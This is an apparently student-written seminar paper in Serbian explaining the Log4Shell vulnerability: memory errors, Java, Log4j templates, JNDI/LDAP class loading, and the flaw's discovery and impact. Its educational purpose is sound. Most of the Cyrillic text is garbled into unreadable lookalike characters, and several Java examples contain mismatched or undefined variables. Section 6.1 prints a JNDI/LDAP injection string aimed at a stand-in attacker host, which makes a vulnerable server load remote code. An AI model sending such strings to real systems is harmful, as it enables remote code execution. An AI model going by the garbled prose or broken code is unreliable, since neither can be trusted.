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Ca’xkeTak

V 0BOM ceMUHapCKoOM papny omrcaHa je Log4Shell rpemka, gora-
haju xoju je mM3asBasia, HAUWH Ha KOjU QYHKIIMOHHUIIE U KaKO jy je
Moryhe eKcILIOaTHCATH.

1 VBog

Log4Shell je monysapau Hasus 3a CVE-2021-44228", rpemky HyJ1-
TOr faHa (eHe. zero-day vulnerability) 2 oTKpHBeHY y 6HUGIHOTEIIN
Log4j ° 3a mporpaMcKH jesuk JaBy. Y3 MUHMMaJIaH TPy Hallajaqa,
IpellKa je oMoryhuia MaJHUIII03SHUM KOPHUCHUIIMMA IIPOU3BOJHHO H3-
BpllIaBame KoZia Ha moroheHuM ypehajuma. VuuHMIIA je palbUBUM
MHOT€ II0ITyJIapHe MHTepHeT CepBHCe, Kao IIITo cy: Amazon Web Services,
Cloudflare, iCloud, Minecraft Java Edition, Steam, Tencent QQ 1 MHOTe

fipyre.

2 Tpelike KoOje cy mHpeTXoauie

2.1 MemMopHja y je3suriuMa HUCKOT HUBOA

BehnHa IIporpaMCcKHX je3svKa HUCKOT HUBOA, Kao IITO cy C 1 C++,
He moceqyjy yrpalleHe MexXaHU3Me 3allITUTe UHTerpyuTeTa CBOT CTa-
Ba. JOIyIITeHO je YIIMCHUBamke Ha IIPOM3BO/BHO MECTO Y MeMOPH-
ju, IpoM3BOJbHA ajI0KaIlKja HOBUX IT0/laTaKa Ha XHII, YKIambambhe UC-
THUX U3 MeMOpHje, Ka0 U MHOTe Apyre oneparyje. YKOJIUKO je Ipo-
rpaMep A0BOJBHO YIIOSHAT Ca HAYMHOM QYHKIIMOHHCaka XapABepa,
MOT'YhHOCTH KOje 0Baj IIPUCTYII IIpOrpaMUpamy IIpy>ka oMoryhasajy
CTBapame IIporpaMa Koju HajoITUMasaHUje KOPUCTH CBe MOTIyhHO-
CTH XapjBepa.

OBakaB IIpHUCTYII IIporpaMHUpamy IIporpaMepy faje BeJIUKy Moh,
aJId, Ha >KaJIoCT, C ’bOM U BeJIMKY OJTOBOPHOCT. I[IpOM3BOJbaH IIPHU-
CTYII MEMOPH)jHU OTBapa MOIYhHOCT 3a HacTaHAaK HeIIpUMeTHUX Ipe-
IIIaKa 4YHje II0CTojarbe MOJKe M3a3BaTH BeJIHKe I10CIe HIIe.

2.2 IIpexopaudeme olcera

IIpexopauene o1icera (eHe. buffer overflow) je rperrka o Koje mo-
JIasH KaJja IIporpaM yIIMCyje UM YHUTa II0/[aTKe U3BaH IIpefBUl)eHOT
okBHpa (badepa). Ficxo[ 0Be I'pelllKe je HeIIPeABUI/bUB. YKOIHKO Ce
TIOAIM YIIUIIY Y He3ay3eT MeMOPH]jCKH IIPOCTOP, Hehe ce ZOroOAUTH
HUINTA. AKO Ce Ha TOM MeCTy Hajlasua HeKa IIPOMeHJ/bUBa, lheHa
BpeJHOCT 6uhe IIpoMereHa Ha HellpeIBUIJbUB HauuH. EQeKkTH oBe
TpeIlKe TeMOHCTPUPAHU Cy Kpo3 IIpuMep 2.2.1

Thttps://www.cve.org/CVERecord?id=CVE-2021-44228

2cBe rpelke 3a Koje je KOPUCHHUK YIPOYKEHOT ITporpaMa casHao MCTOBPEMEHO Kajla u
jaBHOCT, TO jecT UMao HyJa JaHa /ia OTKJIOHHU

3https://logging.apache.org/log4j/2.x/



2.2.1 IIpuMep mpexopaderna CTeKa

3aMUCIMMO /i II0CTOjH IIporpaM Koju oy KOPUCHUKA O4YeKyje HU3
O0CMOOUTHUX IlesTUX OpojeBa Ly KHUHe 4. Y MeMOpPHjH ITIporpaMa HaJjla-
3U Ce HU3 IIpefiBUl)eH [ja ce y Bhera yIuIlle KOPUCHUKOB yias. CacBUM
CJIy4ajHo, OfiMax Iope, lhera Hajlasy ce I[e0 0CMOOUTHH 6P0j X KOjHA
uMa BpefHOCT 12. CTame IIporpaMa IIprKasaHo je y Tabenu 2.2.1.

Tabesa 1: [Ipukas cTarba IIporpaMa Iipe yHOCa KOPUCHUUKUX IT07jaTaka
HH3 X
?[?[?]?]12

VKOJIMKO je KOPHCHUK YHEO BUIIIe 0ff 4 ejleMeHTa (IIPeTIIOCTaBU-
Mo [1a je yHeo ciefehe 6pojeBe: 5 17 46 25 4), mogpasyMeBaHo, IIpPo-
rpaM he HacTaBUTH Jja YIIUCYje IIOfAaTKe BaH OKBHpa HU3a. Kao mo-
cjIefiUIla, BpeJHOCT IIPOMeH/bHBe X 6uhe M3MemeHa, HaKo caM KOf,
He IIpefBul)a TakBy IIpoMeHy. HOBO cTambe IIporpaMa IIpUKas3aHo je
y Tabenu 2.2.1.

Ta6esa 2: [IprKa3 cTarma IIporpaMa HaKOH YHOCA KOPUCHUYKUX I10/IaTa-
Ka

HHU3 X
517 [46]25 | 4

C 063upoM Jja he KOPUCHUYKH yJjia3 y IpuMepy 2.2.1 IpOMeHUTH
BPeJHOCT CBUX IIPOMEHJ/bUBUX KOje My ce Haljy Ha IIyTy, IIOCTOje de-
THUPU Moryhe HyCIIOjaBe:

* Huwma-BperHOCT he 6UTH yIIHCcaHa y HeaJoIpaHy MeMOPH]Y,
KOja HUKajla Hehe 6UTH UMTaHa, a afpeca he 6UTH 03Ha4YeHa Kao
JOIYIIITeHA 3a YIIMC HOBUX IToffaTaKa

* npomeHa épedHOCMU HeKe NPOMeH/bUBe - OTIHCAHO y IIPUMEPY
2.2.1

* U31a3 U3 MeMOpUjCKO2 OK8UPA Npozpama - YKOJIHUKO IIporpam
TIOKYyIIa Jja IIPUCTYIIH afpecu U3BaH HbeMy JOIyIITeHOT MeMO-
PHjCKOT 0KBHpA, OIlepaTUBHU CUCTeM he ra HaCHUJIHO yTaCUTH

* NPOMeHa U38pUHO2 KOOA - yKOJIMKO KOPUCHUYKH yJIa3 6yze yIiu-
caH YHyTap ceTMeHTa KoJa, JIOKaI[hje Y MeEMOPH]jH I7ie ce HaJla-
3W U3BPIIHU KOJ, IIporpaMa, Moyke ohu [0 IpoMeHa y HAaUUHY
¢yHKIMOHMCaKa ITporpama. To LOIyIITa MaJIUI03HUM KOpHU-
CHHITMMa /la U3BpIlIaBajy IIPOM3B0J/baH KOJ U TaKO MaHUITYJIH-
IITy IIPOTPaMoM.

Pemrewse mmpo6sieMa HaBe[leHOT y IIpuMepy 2.2.1 je TpUBUjaIHO.
MehyTuM, YKOJIMKO Ce H-eroBe IIOCTAeUIle He jaBe Yy ¢pasu TeCcTHUpa-
H3a, BPJIO JIAKO MOJKe 3aBPIIUTH y IIPOrpamy, 0CTaB/beHOM Ha MHJIOCT
KOPHUCHUIIMMA KOjH OTKPH]jY HaIlly IpelIKy. OCHM ToTa, BpeMe II0TPo-
IIIeHO Ha IIpPOHaJakKekhe OBAKBHX I'pelllaka MOXKe Ce YTPOIIUTH Ha
IIPOLIIMpUBaK-€ IIporpama, o/laBamhe HOBUX QYHKITMOHAIHOCTH KO-
je Mory nmpuByhH BUllle KOPUCHUKA.



3 JaBa

3.1 Omuc jesuka

JaBa je 06jeKTHO OpHjeHTHCAaHH je3NK BUCOKOT HUBOA KOjH je CTBO-
puiia KoMItaHuja Sun Microsystems 1995. roguHe. 3a pasjIuKy Of, je-
3MKa OIIMCaHUX Yy CEKIUjH 2.1, JaBa 0OTKpUBa MeEMOPH]Y Kpos3 ,,06jeK-
Te“. CxeMe 3a Kpeupame o0jeKkaTa 30By Ce Kjace, UMajy CBOje UMe
U IeUHUITY KOje IIpOMEH/bHBE 00jeKaT II0Ceyje, U MeTo/le Koje ce
HaZ UM IIpUMeyjy. Y IpuMepy Koja 1 1eMOHCTPUPaHO je Kpeu-
pame jenHOr 0o6jeKTa Ha OCHOBY IeroBe Kiace. Kajja 3saBpIInMO ca
KopuithemeM 06jekTa, brhe ayToMaTCKU YKJIOKEH U3 MeMOopHje.

ITpuMmep koza 1: Kpeupame 06jeKTa Ha OCHOBY KJIace

class Objekat { // klasa
int promenljival; // promenljiva
boolean promenljiva2;
// metoda objekta
void ispisi_se() {
String tekst = // generisanje teksta
promenljival + " " + promenljival;
System.out.println(tekst); // ispis
}
}
public static void main(String[] args) {
// kreiranje novog objekta
Objekat objekat = new Objekat();
// dodela vrednosti promenljivama objekta
objekat.jednaPromenljiva = 10;
objekat.drugaPromenljiva = false;
// izvrsavanje metode objekta
ispisi_se();

VKOJIMKO ITOKYIIIaMO [1a peKperpaMo IpuMep 2.2.1 y JaBH, IIpo-
rpaM he IIpyjaBUTH I'PELIKY.

3.2 Hchnuc Ha cTaHZApAHU U3Jj1a3

BehmHa mporpaMcKux jesuka oMoryhaBa HCIIHC TEKCTyaTHUX I10-
JaTaka Ha CTaHJApAHU H3J1a3, BUAJ/bUB IIOKpeTady aruiukanyje. To
oMoryhasa IIporpaMy Jja CBOje CTarbe CaOoIIILITH je3UKOM KOjH je pasy-
MJBUB JbyUMa. YV IIpuMepy Kozia 1 IpoMeH/bUBe 00jeKTa ce IIpeTBa-
Pajy y TEeKCTyaITHU IIOfATaK M Ha CTaHJapJHU H3JIa3 UCIIHCY)Y KOPH-
mheweM QyHKIH]je System.out.println(tekst).

IToHeKa/ HaM IIKO HCIIMCHUBakbe TeKCTa He JIOHOCH 3a/[0BOJbaBa-
jyhm pesysnrat. Ha mpumMep, YKOJIUKO GKHCMO JKeJIeH Jja UCIITHUIIIEMO
TEeKCT y 60jH, C 063UPOM /la PasIUYUTH OIlepaTUBHU CUCTEMH JPY-
raudje TpeTupajy 6oje, Mopaau 6MCMO /la UX pasIHUKyjeMO U Lofe-
JbyjeMO TeKCTY pasjinduTa Kogupama. OCHM Tora, y IpuMepy Kozja 1
npuMehyjeMo 1a CMO caMH MOpPaJIy /ia IToflaTKe IIPeTBapaMo Y TEKCT.
V 0BOM IIpHMeDY, IIOCTYIIAK je 6H0 jeJHOCTaBaH, Il Y HeKUM CJIyda-
jeBUMa, ofiroBapaso 61 HaM Kafia He O6MCMO MOpaJsIHU JIa CBe peryJiu-
IIIeMO CaMH.




4 Logdj

Apache Log4j je 6ubsioTeka 3a IporpaMcKH jesuk JaBy (3) koja
yHa1peljyje MoryhHOCT IIporpama jJia OIIKCYje COIICTBeHe porahaje u
HUCIIHCYje UX y GopMaTy YUT/UBOM JbyauMa (eHe. logging) . Hacra-
11a je 2001., kopucTu Apache 2.0 JIHIIeHIly OTBOPEHOr Kofa* u feo je
Apache Software Foundation opraHusariiyje.

4.1 IITa0/I0OHH HUCKH

JemHa o KapaKTepHUCTHUKA 0Be OUO6INOTEKE jecy I1ab/I0HN HUCKH.
To je MeTox fepuHMCarba GopMaTa H3Ia3a yHyTap HUCKe, 6e3 I10Tpe-
6e 3a KkperpameM KcTe. [IpefHOCT 0BAKBOT IIPUCTYIIA je Beha YU T/bU-
BOCT KOZIa, YMECTO JIa pa3MHIIJbaMO Ha KOj HAUYWH BpeJHOCTHU Tpeba
IIPeTBOPUTH y TeKCTyaIHU $opMaT, U II0TOM KX II0Be3aTH Ca 0OCTa-
JIIM BPeJHOCTHMA, TO MO>KEMO IIPeNyCTUTH 6KbIroTerid. Mame Ha-
IIMCAaHOT KOJja YIJIABHOM 3Ha4UM Maka I1aHCa 3a IIpaBJbeihe IPelrke.
Ha miprMep, YKOJIMKO >KeJIMMO Jia Ha CTaHJapAHU H3j1a3 UCIIHUIIIEMO
IBa 6poja ca IOKpeTHHM 3ape30M 3a0Kpy>KeHa Ha JiBe fleliluMaJle, 6e3
nomohu Log4j 6u npBo 610 IOTPeO6HO 6pojeBe IIPeTBOPUTH Y HU-
CKe KOje IIpeJiCTaBJ/bajy 3a0KPY’KeHU 3aIluc 6pojeBa YUT/bUB JbYLU-
Ma, a II0TOM HX HUCIIMCAaTHU Ha CTaH[apJHU K3Ja3, Kao IIITO Ce MOXKe
BUJIETH y IpuMepy Koza 2. Log4j HaM y mpuMepy Kozxa 3 omoryhasa
JebuHKCcame popMaTa HAIKX II0ZaTaKa YHyTap HUCKe, IIITO SHATHO
CMamyje KOJTUUYNHY UCIIHCAHOT KoJia.

ITprMep Koxa 2: Mcrivic BpeJHOCTH [iBa peasiHa 6poja 3a0Kpy-
’KeHa Ha [iBe JlelTuMaJle KopullthewkeM CTaHAapaHUX QYHKITU-

ja JaBe
double x = 5.56574734;
double z = 6.0;

String zaokruzen_x = String.format("%.2f", x);
String zaokruzen_z String.format("%.2f", z);
String ispis = "x = " + zaokruzen_x

+ ", z =" + zaokruzen_z;
System.out.println(ispis);

n

ITpuMep xofa 3: Vcmiric BpeJHOCTH IBa peajHa 6poja 3a0Kpy-
’KeHa Ha JIBe fielTuMaJie KopuithewmeM 6161moTeke Logdj
double x = 5.56574734;

double z = 6.0;
logger.info("x = %.2f, y = %.2f", x, y);

MoryhHOCTH ce He 3ayCTaBJ/bajy. YKOJIMKO >KEJIMMO [Ja UCITHUIIIEMO
XeKcaieiuMaJsIHy BpeJHOCT 11eJIoT 6poja, JOBOJBHO je 3aMeHUTH %.2f
c %X.

4JTurieHIia 0TBOPEHOT Ko/a eGUHUIIIe ITPaBa Koja KOPUCHUK MMa Ha KOpHIIhemse, pe-
TIPOAYKIINjY U peJUCTpUOYITHjy Ko/la KOju je KopHUCTH. PecTpuknuje Apache 2.0 munieHIie
HaJla3e ce Ha JIMHKY https://www.apache.org/licenses/LICENSE-2.0.txt



4.2 W3BpHIaBame QyHKIHja

Haxo Log4j sHaTHO oJIaKIlIaBa HUCIMCUBame I10/[aTaka, jolll YBeK
je Moryhe roctTuhu uCTHU pe3y/TaT KOpUIthelheM CTaHAapoHUX QYHK-
I1ja IporpaMcKor jesuka. To je 3aTo ITo he, KaZja y HUCKY HaIIHIIIe-
MO %X, 6ubJsioTeKa II0TpakKUTHU QPYHKITH]Y Koja IIpeTBapa 6pojese y
xXeKcagenuMmasHe HucKe (Integer.toHexString(6poj)), IpoCaefUTH jOj
6poj X U pesyJITaT IIOCTABUTH Ha TO MECTO.

HapaBHO, 0BakaB Ha4yWH 3allyica Hac He orpaHH4aBa caMo Ha QyHK-
IUje Koje 6pojeBe IIpeTBapajy y HHUCKe. [[poMeH/bUBE OKpYsKeka Cy
Iy106a/IHe IIPOMEeHJ/bUBE I0CTYITHEe CBUM KOPHCHHUITUMA OIIePaTUBHOT
cucrteMa. Kopucre ce kako 61 IIporpaM Morao Jja KOpUCTH BpeJHO-
CTH KOje ce pasjHKyjy Ha PasJIMuUTHM OIlepaTUBHUX CHCTeMa, II0-
IIyT UM€eHa OIlepaTUBHOT CHCTeMa U IyTamka [0 U3BPIIHUX AaTOTeKa
CHUCTEMCKHUX IIporpama.

Kaxko 6mcMo Ha cTaHZApAHU K3J1a3 UCIucaau nyTawy 10 HOME nu-
pexTopujyMa, Yy CTaHAAPAHOj JaBU 6U Off CCTeMa 3aXTeBasd Bpef-
HOCT IIPOMeHJbUBE, a IIOTOM je UCIIUCAIU Ha CTaHap/{HH H3J1a3, I11TOo
ce BUM y IipuMepy kKoza 4. Kopuithemem Log4j 6161oTeKe, IIOCTY-
IIaK je SHATHO OJIAKILIAH, IIITO Ce BUAU Y IIPUMePY Koja 5.

ITpumep kopxa 4: HMcruc BpeJHOCTH IIPOMEH/bHBE OKpPY Keka
KopultheweM CTaHAApAHUX QYHKIIM]ja JaBe

String home = System.getenv("HOME");
System.out.println("HOME = " + home);

ITpumep koma 5: Mcruc BpeJHOCTU IIPOMEH/bHBE OKPY Keka
KopuiheweM 6ubiroreke Logdj

logger.info("HOME = ${env:HOME}");

CBaka QyHKIIMja y JaBU M0O>Ke II03UBAaTH JIpyTe QyHKIHje, Kpeu-
patu objeKTe, IpaBUTH 3axXTeBe IIyTeM HHTepHeTa U TUMe YTHUIJaTH
Ha CTame IporpamMa. U3 Tor passora, 6110 61 oIlacHO Kafa 6H1 HC-
NMCcHUBalbe II0ZjaTaka Ha CTaHAapAHU M37a3 MOIJIO [ja M3a30Be U3Me-
Hy cTalba IIporpama. 36or Tora ce Log4j orpaHr4YaBa Ha KOpHIIhelbe
¢yHKIIM]ja 3a Koje cMaTpajy fia He MOI'Y [ja K3a30BY TaKBe OIlepaliyje.
MehyTum, 111Ta ce gorogu Kaga kaja QyHKIIFja Koja ©Ma Ty CII0C00-
HOCT HIIaK 3aBPIIHU Y KOAY KOjU KOPUCTH MUIHjap/ie KOPHUCHUKA?

5> Hs3BpuiaBame CTpaHOr KoJa

5.1 Cepwmjanusanuja

O6jexaT Kao KOHIIEIIT II0CTOjU caMO y MeMOpHjU Iporpama. Ha-
KOH IIITO Ce IIpOTpaM yracy, o6jekaT U CBU II0Jallu KOjU Cy OMIIH 4uy-
BaHU Y ’beMy HeIIOBPaTHO HeCTajy.

Cepujasn3aliyja je IOCTyIIaK IIpeTBapama objekaTa y MeEMOPHjU Y
Io/iaTKe Koje je Moryhe uyBaTH Ha TBP/OM [IHCKY, IOK je JecepHja-
Jm3anyja o6pHyT Iporiec. MeljyTuM, Imofanu y MeMOpPHjU ce BeoMa
pasyUKYyjy Off IIojaTaka Ha AUCKY. Ha [HCKy He 110CcTOje pedepeHIie
Ha JipyTe 00jeKTe U IIoAaU UMajy GUKCHY Ay>KUHY. 300T TOra je cBa-
KOj KJIacHu uHje je ob6jekTe Moryhe cepujaan3oBaTH IIOTPe6HO 0fe-
JIUTH I10CebHy QYHKIIM]y Koja To o6aBspa. Ha Haly cpehy, 3a Behuny




objexara I10CTOje YHUBep3aJIHe QyHKIIHje, IIOIIyT OHUX CaJpKaHUX y
ouoamoTeri GSON.

MeljyTuM, ImTa fa pafuMo YKOIMKO »KeJIHUMO J1a o6jeKaT y3MeMo U3
JpyTOT JaBa IIporpaMa, a Halll IIporpaM He cafp>Ku e UHUITH]Y KJIa-
ce ydje je o6jeKaT MHCTAHIA?

5.2 VYuuraBame CTpaHHX Kjlaca

3a pasIuKy of jesuka C++, KOJ{ Kora Cy KJIace allCTpaKI{ja Koja He-
CTaje HaKOH IIITO Ce IIPOTpaM IIpeBe/le Y MAIlIMHCKH KOZ, V JaBU BU-
XO0Ba flepUHUIIMja, IPOMEeH/bUBEe U METO/[e OCTajy cadyBaHe TOKOM
HU3BpIIaBamka IporpaMa. ThMe je oJIaKIIaHO IIpOHATIaKeHe Ipellla-
Ka y KOy, IIOpTabuIHOCT U3BpPIIHE AaTOTeKe, U HaMa HajBaKHU]e,
y4YHUTaBame CTPaHUX Kjlaca YHyTap IIporpaMa TOKOM HeT0BOrI paja.
KopunrhemeM pediiekcuje®, CTpaHy KJIacy MOKeMO YIHUTATH YHYTap
Haller IIporpamMa, KpeupaTHy leHe 00jeKTe ¥ U3BpIlIaBaTH lbeHe QYHK-
nyje. [TocToje MHOTM HAYUHU 3a Jo6aB/bambe Kiace, MeljyTuMm, Mu he-
MO OITMCATH caMo jefiaH 5.2.1.

5.2.1 JNDIu LDAP

JaBa nHTepdejc 3a UMeHOBam€e U TUPEKTOPHjyMe (eHe. Java Naming
and Directory Interface) uinu ckpaheno JNDI je uHTepdejc 3a IIpu-
CTYII CEpBHCHMa UMeHOBama U AUpeKTopHjyMa. tberosa riiaBHa CBp-
Xa je ma oMoryhu JaBa alImKaIjaMa Jja IIpeTpakyjy o6jeKTe U pe-
Cypce II0 UMeHY, YMECTO /la UYBPCTO KOAMPAjy HUX0Be JIOKallHje Ul
uMmiuieMeHTanyje. JNDI He uyBa nmojaTke, Beh HaM ImoMaske a Ko-
MYHHIIpaMo ca JJaraHUM IIPOTOKOJIOM 33 IIPUCTYII JUPEeKTOPHjYMHU-
Ma (eHe. Lightweight Directory Access Protocol) miu ckpaheHo LDAP,
Mpe>KHHM IIPOTOKOJIOM KOjH Ce KOPUCTH 3a IIPUCTYII U YIIPaB/bakhe
cepBUCHMaA AupeKTopHujymMa. UYyBa HHPopMaIiyje y XHujepapxHujcKoj,
CTPYKTYPH y 0OJIHMKY cTabJjia IIpuiaroleHoj 3a KOHCTaHTHO YHUTame
TojjaTaka, Te je IpaKTHU4YaH 3a UyBame objekaTa U AeUHUIII]je Kila-
ca, KOje Halll IIpoTrpaM MOJKe JIaKO Jla 3aXTeBa.

HapaBHoO, yunTaBabe CTpaHUX Kjlaca CTpaHOM KO[y IIpy»Ka IIpH-
JIMKY Jla Ce U3BPIIH YHyTap Hallle allJInKalyje. YKOJIMKO He 3HAMO
IIITa Kjaca Kojy IIpUxBaTaMo pajy, II0CTOjH IIIaHCca Jia Halll IIporpaM
6yme xkoMmIpoMuToBaH. IllTa he ce ZOroAUTH aKo CIy4ajHO JOIYCTH-
MO KOPHCHHIIMMaA Jla YIUTaBajy CBOje Kiace?

6 Log4Shell rpemika
6.1 Omuc Log4Shell rpemke

Log4j yrimaBHOM KopucTH JNDI 5.2.1 Kako 6U JaKille IIpoHaIao
ejleMeHTe 6a3a I10/jaTaka, y Koje criazajy u LDAP cepBepu. Y BehuHu
cJIy4JajeBa, OBaKBH 3aXTeBHU He I10/[pa3yMeBajy YIUTaBame CTPAaHUX
KiIaca 5.2, mehjyTum, Bep3uje oBe 6ubsmoTeke morohjeHe Log4Shell
TPelIKOM JIOIIyIITaJle CY fia Ce YHyTap HHUCKe Koja IpejicTaB/ba Log4j

5Peduiekcuja je CIIOCOGHOCT MporpaMa Ja, TOKOM H3BpIllaBarba, aHaJAU3Hpa W Merha
CTPYKTYPY WJIH IIOHAIIAbE.



11a6JI0H 3aTpa’ky CepHjaIn30BaHU objeKaT, U leroBa Kiaca Koja fie-
¢uHuIIe Kako he 6uTHU AecepujanusoBaH. C 063UpoOM J1a ce yHyTap
CBakKe QyHKIIHje y jaBU MOTY II03UBAaTU Apyre QyHKIHje, TO je Ma-
JIMIIUOSHUM KOPHUCHUIIMMAa OMOTI'YhHJIO [la U3BPIllaBajy IPOHU3BOJbaH
KO/, Ha II0roljeHUM MalllHaMa, ¥ TO cCaMO TaKo IITO 61 UM IIpocCJIe-
IWIH cilefiehy HUCKY:

$jndi:1ldap://napadac.com/maliciozni_zahtev

6.2 OTkpuhe rpemike

Log4Shell rpeiky je oTKpHo UcTpa>kuBad 6e3begHocTH U3 Alibaba
Cloud 6e36emHOCHOT TMa y HOBeM6pYy 2021. roguHe. VTBpl)eHoO je fa
je oBarpelka y 6M6JIM0TeIY II0CTOjala HEOTKpUBeHA HajKacHUje O
2013. romuHe, Kafia je HacTaJIa IIpBa Bep3uja Log4j 2 6ubanoTeke. 24.
HoBeMOpa 2021., rpenika je IIpHjaB/peHa OpraHU3allijU Koja ce 6aBH
oxp-kaBameM LogdShell 6ubiuoreke, Apache Software Foundation-
y. I'pellika je BpJIo 6p30 OTKJIOK-€HA Yy Bep3uju 2.16.0, 1 9. fereMbpa
2021. ropuHe 06jaB/beHa jaBHOCTH 107 HasuBoM CVE-2021-44228°,

6.3 Ilociaemmuiie rpeiike

Kaxko 61 Hamajfad eKCIJI0aTHCAO0 IPeIlIKy, CBe IIITO MY je IOTpebHO
jecte LDAP cepBep Ha KOMe OU ce Hajla3uJIe Klace ca MaJUIIMO3HUM
kozoM. Takolje, HeltprMeheHa je I10cTojajla MaKap 8 rofrHa, 1ITo je
3HAYWJIO /1A je BeJIUKU OPOj CepBHUCa, Y Koje cIIajiajy 6aHKOBHU ypeha-
ju, IPUHTEpU, UHTEPHET CepBepHU, MeIUIIMHCKA OIIpeMa, 610 I0/|JI0-
’kaH. Ha cpehy, MeTof, ucIipaB/bakba 0Be TPeIKe II0jaBHO Ce 0f MO-
MeHTa KaJia je jaBHOCT ca3HaJia 3a EbeHO II0CTOojambe, Te Cy II0JI0KHN
OCTaJI¥ caMO OHH ypeljaju Koju HUCY OKJ/IH a>KypHUpaHU Ha BpeMe.

IIponewyje ce fa je oko 10 ImporjeHaTa CBUX JUTHTAJTHUX CpPefiCTa-
Ba - YK/by4yjyhu Beb alIMKaliyje, cepBUCe y 00JI1aKy U QHU3UUKe Kpaj-
H-e TaduKe II0IIyT cepBepa - 610 pakbuBo Ha Log4Shell y BpeMme meHOT
oTkpuha. Xakepu Mory na xopucrte Log4Shell kako 61 yIMHUIIU Tro-
TOBO CBe: YKpaJIu II0/laTKe, HHCTaJINpaJId paHCOMBepe, 3aIlJIEHIIN
ypehaje 3a moTpebe 60THeTa U joIT MHOTO Tora [4].

6.3.1 Minecraft

JerHa ot MHOTUX IIOTOl)eHUX cepBHCa 61Ia je BUeo urpa Minecraft.
V 1eHOM ciIy4ajy, 6ubiroTeky Log4j KOopuCcTe U cepBep U KIIHjeHT,
LIITO je 3HAYWJIO [1a je jefaH MaJIUIMO3HU KOPUCHUK MOrao /ia UH-
¢urpa Ha XUbaje JbYAU TaKO IITO 6U, Kao y IIpPUMepy Ha CJIULH 1,
I10CJIa0 jegHy IIOPYKY V jaBHO hackame.
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Ciauka 1: Minecraft
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